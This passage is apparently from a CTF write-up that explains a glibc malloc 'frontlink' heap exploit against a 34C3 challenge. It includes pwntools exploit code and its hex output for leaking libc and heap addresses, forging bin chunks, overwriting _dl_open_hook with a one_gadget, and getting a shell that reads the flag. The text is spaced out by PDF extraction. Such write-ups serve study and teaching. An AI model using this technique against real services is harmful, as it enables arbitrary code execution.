MAIN ARENA | +−−−−−−−−−−−−−> | <−−−−−−−−−−−−−−+ |
6 | | | | | | |

| | +−−−−−−−−−+ | +−−−−−−−−−−−−+ | |
8 | | | | | | | | |

+−−−−−−−−−−−−−−−−−−−+−−−−−−−+−−−−−−−−+−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+
10 | | | |

| | +−−−−−−−−−−−−−−−−−−−+ | |
12 | | | | | |

| | | +−−−−−−−−−−−−−−−−−−−−+ | |
14 | | | | | | | |

| +−−v−v−−−+ | | +−−v−v−−−+ |
16 HEAP | | CHUNK3 | | | | CHUNK1 | |

| +−−−−−−−−+ | | +−−−−−−−−+ |
18 | | fd +−−+ | | fd +−−+

| +−−−−−−−−+ | +−−−−−−−−+
20 +−−−+ bk | +−−−−+ bk |

+−−−−−−−−+ +−−−−−−−−+

Figure 15

We can quickly test this arrangement in Python.

i n f o ( " l e ak ing unsorted bin address " )
2 a l l o c_ i t (0 )

a l l o c_ i t (1 )
4 a l l o c_ i t (2 )

a l l o c_ i t (3 )
6 a l l o c_ i t (4 )

f r e e_ i t (1 )
8 f r e e_ i t (3 )

l eak = pr in t_i t (1 )
10 unsorted_bin = u64 ( l eak . l j u s t (8 , ’ \x00 ’ ) )

i n f o ( ’ unsorted bin {:#x} ’ . format (
12 unsorted_bin ) )

UNSORTED_OFFSET = 0x3c1b58
14 l i b c . address=unsorted_bin−UNSORTED_OFFSET

in f o ( " l i b c base address {:#x}" . format (
16 l i b c . address ) )

18 i n f o ( " l e ak ing heap" )
l eak = pr in t_i t (3 )

20 chunk1_addr = u64 ( l eak . l j u s t (8 , ’ \x00 ’ ) )
heap_base = chunk1_addr − 0x310

22 i n f o ( ’ heap {:#x} ’ . format ( heap_base ) )

24 i n f o ( " c l e an ing a l l a l l o c a t i o n s " )
f r e e_ i t (0 )

26 f r e e_ i t (2 )
f r e e_ i t (4 )

It will produce something like the following output.

1 [ ∗ ] l e ak i ng unsorted bin address
[+] a l l o c 0

3 [+] a l l o c 1
[+] a l l o c 2

5 [+] a l l o c 3
[+] a l l o c 4

7 [+] f r e e 1
[+] f r e e 3

9 [+] p r i n t 1
[+] r e c e i v ed :

11 00000000 58 db 45 3 f 55 7 f
[ ∗ ] unsorted bin 0 x7f553f45db58

13 [ ∗ ] l i b c base address 0 x7 f553 f09c000
[ ∗ ] l e ak i ng heap

15 [+] p r i n t 3
[+] r e c e i v ed :

17 00000000 10 c3 84 6e 0a 56
[ ∗ ] heap 0x560a6e84c000

19 [ ∗ ] c l e an ing a l l a l l o c a t i o n s
[+] f r e e 0

21 [+] f r e e 2
[+] f r e e 4
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Now that we know the address of libc and the
heap, it’s time to craft our frontlink attack. First,
we need to have a chunk we control in the large bin.
Unfortunately, the challenge’s constraints do not let
us free a chunk with a controlled size. However, we
can control a freed chunk in the unsorted bin. As
chunks inserted to the large bin are first removed
from the unsorted bin, this provides us with a prim-
itive which is sufficient to our needs.

We overwrite the bk of a chunk in the unsorted
bin.

i n f o ( " populate unsorted bin " )
2 a l l o c_ i t (0 )

a l l o c_ i t (1 )
4 f r e e_ i t (0 )

6 i n f o ( " h i j a ck unsorted bin " )
## con t r o l l e d chunk #1 i s our l eaked chunk

8 c on t r o l l e d = chunk1_addr + 0x10
chunk0_addr = heap_base

10 wr i t e_i t (0 , f i t ( chunk ( base=chunk0_addr+0x10 ,
o f f s e t=−0x10 ,

12 bk=con t r o l l e d ) ) ,
base=chunk0_addr+0x10 )

14 a l l o c_ i t (3 )

[ ∗ ] populate unsorted bin
2 [+] a l l o c 0

[+] a l l o c 1
4 [+] f r e e 0

[ ∗ ] h i j a ck unsorted bin
6 [+] c r a f t chunk (0 x560a6e84c000 ) : bk=0

x560a6e84c320
[+] wr i t e 0 :

8 560 a6e84c010 61 61 61 61 62 61 61 61
20 c3 84 6e 0a 56 00 00

10 [+] a l l o c 3

Here we allocated two chunks and free the first,
which inserts it to the unsorted bin. Then we over-

write the bk pointer of a chunk which starts 0x10 be-
fore the allocation of slot 0 (offset=-0x10), i.e., the
chunk in the unsorted bin. When making another
allocation, the chunk in the unsorted bin is removed
and returned to the caller and the bk pointer of the
unsorted bin is updated to point to the bk of the
removed chunk.

Now that the bk of the unsorted bin pointer
points to the controlled region in slot 1, we forge
a list that has a fake chunk with size 0x400, as this
size belongs in the large bin, and another chunk of
size 0x310. When requesting another allocation of
size 0x300, the first chunk is sorted and inserted to
the large bin and the second chunk is immediately
returned to the caller.

i n f o ( " populate l a r g e bin " )
2 wr i t e_i t (1 , f i t ( merge_dicts (

chunk ( base=cont ro l l ed , o f f s e t=0x0 ,
4 s i z e=0x401 , bk=con t r o l l e d+0x30 ) ,

chunk ( base=cont ro l l ed , o f f s e t=0x30 ,
6 s i z e=0x311 , bk=con t r o l l e d+0x60 ) ,

) ) )
8 a l l o c_ i t (3 )

[ ∗ ] populate l a r g e bin
2 [+] c r a f t chunk (0 x560a6e84c320 ) :

s i z e=0x401 bk=0x560a6e84c350
4 [+] c r a f t chunk (0 x560a6e84c350 ) :

s i z e=0x311 bk=0x560a6e84c380
6 [+] wr i t e 1 :

560 a6e84c320 61 61 61 61 62 61 61 61
8 01 04 00 00 00 00 00 00

560 a6e84c330 65 61 61 61 66 61 61 61
10 50 c3 84 6e 0a 56 00 00

560 a6e84c340 69 61 61 61 6a 61 61 61
12 6b 61 61 61 6c 61 61 61

560 a6e84c350 6d 61 61 61 6e 61 61 61
14 11 03 00 00 00 00 00 00

560 a6e84c360 71 61 61 61 72 61 61 61
16 80 c3 84 6e 0a 56 00 00

[+] a l l o c 3

Perfect! we have a chunk in our control in the
large bin. It’s time to corrupt this chunk!

We point the bk and bk_nextsize of this chunk
before the _dl_open_hook and put some more
forged chunks in the unsorted bin. The first chunk
will be the chunk which its address is written to
_dl_open_hook so it must have a size bigger then
0x400 yet belongs in the same bin. The next chunk
is of size 0x310 so it is returned to the caller after
request of allocation of 0x300 and after inserting the
0x410 into the large bin and performing the attack.
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1 i n f o ( """ f r o n t l i n k attack : h i j a ck
_dl_open_hook ({:#x}) """ . format (

3 l i b c . symbols [ ’_dl_open_hook ’ ] ) )
wr i t e_i t (1 , f i t ( merge_dicts (

5 chunk ( base=con t r o l l ed , o f f s e t=0x0 ,
s i z e=0x401 ,

7 # We don ’ t have to use both f i e l d s to
# overwr i t e _dl_open_hook . One i s enough

9 # but both must po int to a wr i t ab l e
# address .

11 bk=l i b c . symbols [ ’_dl_open_hook ’ ] − 0x10 ,
bk_nextsize=

13 l i b c . symbols [ ’_dl_open_hook ’ ] − 0x20 ) ,
chunk ( base=cont ro l l ed , o f f s e t=0x60 ,

15 s i z e=0x411 , bk=con t r o l l e d + 0x90 ) ,
chunk ( base=cont ro l l ed , o f f s e t=0x90 , s i z e=0

x311 ,
17 bk=con t r o l l e d + 0xc0 ) ,

) ) , base=con t r o l l e d )
19 a l l o c_ i t (3 )

1 [ ∗ ] f r o n t l i n k attack :
h i j a ck _dl_open_hook (0 x7 f553 f4622e0 )

3 [+] c r a f t chunk (0 x560a6e84c320 ) :
s i z e=0x401 bk=0x7f553f4622d0

5 bk_nextsize=0x7f553 f4622c0
[+] c r a f t chunk (0 x560a6e84c380 ) :

7 s i z e=0x411 bk=0x560a6e84c3b0
[+] c r a f t chunk (0 x560a6e84c3b0 ) :

9 s i z e=0x311 bk=0x560a6e84c3e0
[+] wr i t e 1 :

11 560 a6e84c320 61 61 61 61 62 61 61 61
01 04 00 00 00 00 00 00

13 560 a6e84c330 65 61 61 61 66 61 61 61
d0 22 46 3 f 55 7 f 00 00

15 560 a6e84c340 69 61 61 61 6a 61 61 61
c0 22 46 3 f 55 7 f 00 00

17 560 a6e84c350 6d 61 61 61 6e 61 61 61
6 f 61 61 61 70 61 61 61

19 560 a6e84c360 71 61 61 61 72 61 61 61
73 61 61 61 74 61 61 61

21 560 a6e84c370 75 61 61 61 76 61 61 61
77 61 61 61 78 61 61 61

23 560 a6e84c380 79 61 61 61 7a 61 61 62
11 04 00 00 00 00 00 00

25 560 a6e84c390 64 61 61 62 65 61 61 62
b0 c3 84 6e 0a 56 00 00

27 560 a6e84c3a0 68 61 61 62 69 61 61 62
6a 61 61 62 6b 61 61 62

29 560 a6e84c3b0 6c 61 61 62 6d 61 61 62
11 03 00 00 00 00 00 00

31 560 a6e84c3c0 70 61 61 62 71 61 61 62
e0 c3 84 6e 0a 56 00 00

33 [+] a l l o c 3

This allocation overwrites _dl_open_hook with
the address of controlled+0x60, the address of the
0x410 chunk.

Now it’s time to hijack the flow. We over-
write offset 0x60 of the controlled chunk with
one_gadget, an address when jumped to executes
exec("/bin/bash"). We also write an easily de-
tectable bad size to the next chunk in the unsorted
bin, then make an allocation. The allocator detects
the bad size and tries to abort. The abort process in-
vokes _dl_open_hook->dlopen_mode which we set
to be the one_gadget and we get a shell! See Fig-
ure 16 for the code.

[ ∗ ] s e t _dl_open_hook−>dlmode
2 = ONE_GADGET (0 x7f553f18d651 )

[ ∗ ] and make the next chunk removed from the
4 unsorted bin t r i g g e r an e r r o r

[+] c r a f t chunk (0 x560a6e84c3e0 ) : s i z e=−0x1
6 [+] wr i t e 1 :

560 a6e84c320 61 61 61 61 62 61 61 61
8 63 61 61 61 64 61 61 61

560 a6e84c330 65 61 61 61 66 61 61 61
10 67 61 61 61 68 61 61 61

560 a6e84c340 69 61 61 61 6a 61 61 61
12 6b 61 61 61 6c 61 61 61

560 a6e84c350 6d 61 61 61 6e 61 61 61
14 6 f 61 61 61 70 61 61 61

560 a6e84c360 71 61 61 61 72 61 61 61
16 73 61 61 61 74 61 61 61

560 a6e84c370 75 61 61 61 76 61 61 61
18 77 61 61 61 78 61 61 61

560 a6e84c380 51 d6 18 3 f 55 7 f 00 00
20 62 61 61 62 63 61 61 62

560 a6e84c390 64 61 61 62 65 61 61 62
22 66 61 61 62 67 61 61 62

560 a6e84c3a0 68 61 61 62 69 61 61 62
24 6a 61 61 62 6b 61 61 62

560 a6e84c3b0 6c 61 61 62 6d 61 61 62
26 6e 61 61 62 6 f 61 61 62

560 a6e84c3c0 70 61 61 62 71 61 61 62
28 72 61 61 62 73 61 61 62

560 a6e84c3d0 74 61 61 62 75 61 61 62
30 76 61 61 62 77 61 61 62

560 a6e84c3e0 78 61 61 62 79 61 61 62
32 f f f f f f f f f f f f f f f f

[ ∗ ] cause an except ion − chunk in unsorted
34 bin with bad s i z e , t r i g g e r

_dl_open_hook−>dlmode
36 [+] a l l o c 3

[ ∗ ] f l a g :
38 34C3_but_does_your_exploit_work_on_1710_too

Voila!

35



1 ONE_GADGET = l i b c . address + 0xf1651
i n f o ( " s e t _dl_open_hook−>dlmode = ONE_GADGET ({:#x}) " . format (ONE_GADGET) )

3 i n f o ( "and make the next chunk removed from the unsorted bin t r i g g e r an e r r o r " )
wr i t e_i t (1 , f i t ( merge_dicts ( {0x60 :ONE_GADGET} ,

5 chunk ( base=con t r o l l ed , o f f s e t=0xc0 , s i z e=−1) , ) ) ,
base=con t r o l l e d )

7
i n f o ( """ cause an excep t ion − chunk in unsorted bin with bad s i z e ,

9 t r i g g e r _dl_open_hook−>dlmode""" )
a l l o c_ i t (3 )

11
r . r e cv l i n e_conta in s ( ’ mal loc ( ) : memory cor rupt i on ’ )

13 r . s end l i n e ( ’ cat f l a g ’ )
i n f o ( " f l a g : {}" . format ( r . r e c v l i n e ( ) ) )

Figure 16. This dumps the flag!

Closing Words
Glibc malloc’s insecurity is a never ending story.
The inline-metdata approach keeps presenting new
opportunities for exploiters. (Take a look at the new
tcache thing in version 2.26.) And even the old
ones, as we learned today, are not mitigated. They
are just there, floating around, waiting for any UAF
or overflow. Maybe it’s time to change the design of
libc altogether.

Another important lesson we learned is to al-
ways check the details. Reading the source or disas-
sembly yourself takes courage and persistence, but
fortune prefers the brave. Double check the mit-
igations. Re-read the old materials. Some things
that at the time were considered useless and forgot-
ten may prove valuable in different situations. The
past, like the future, holds many surprises.
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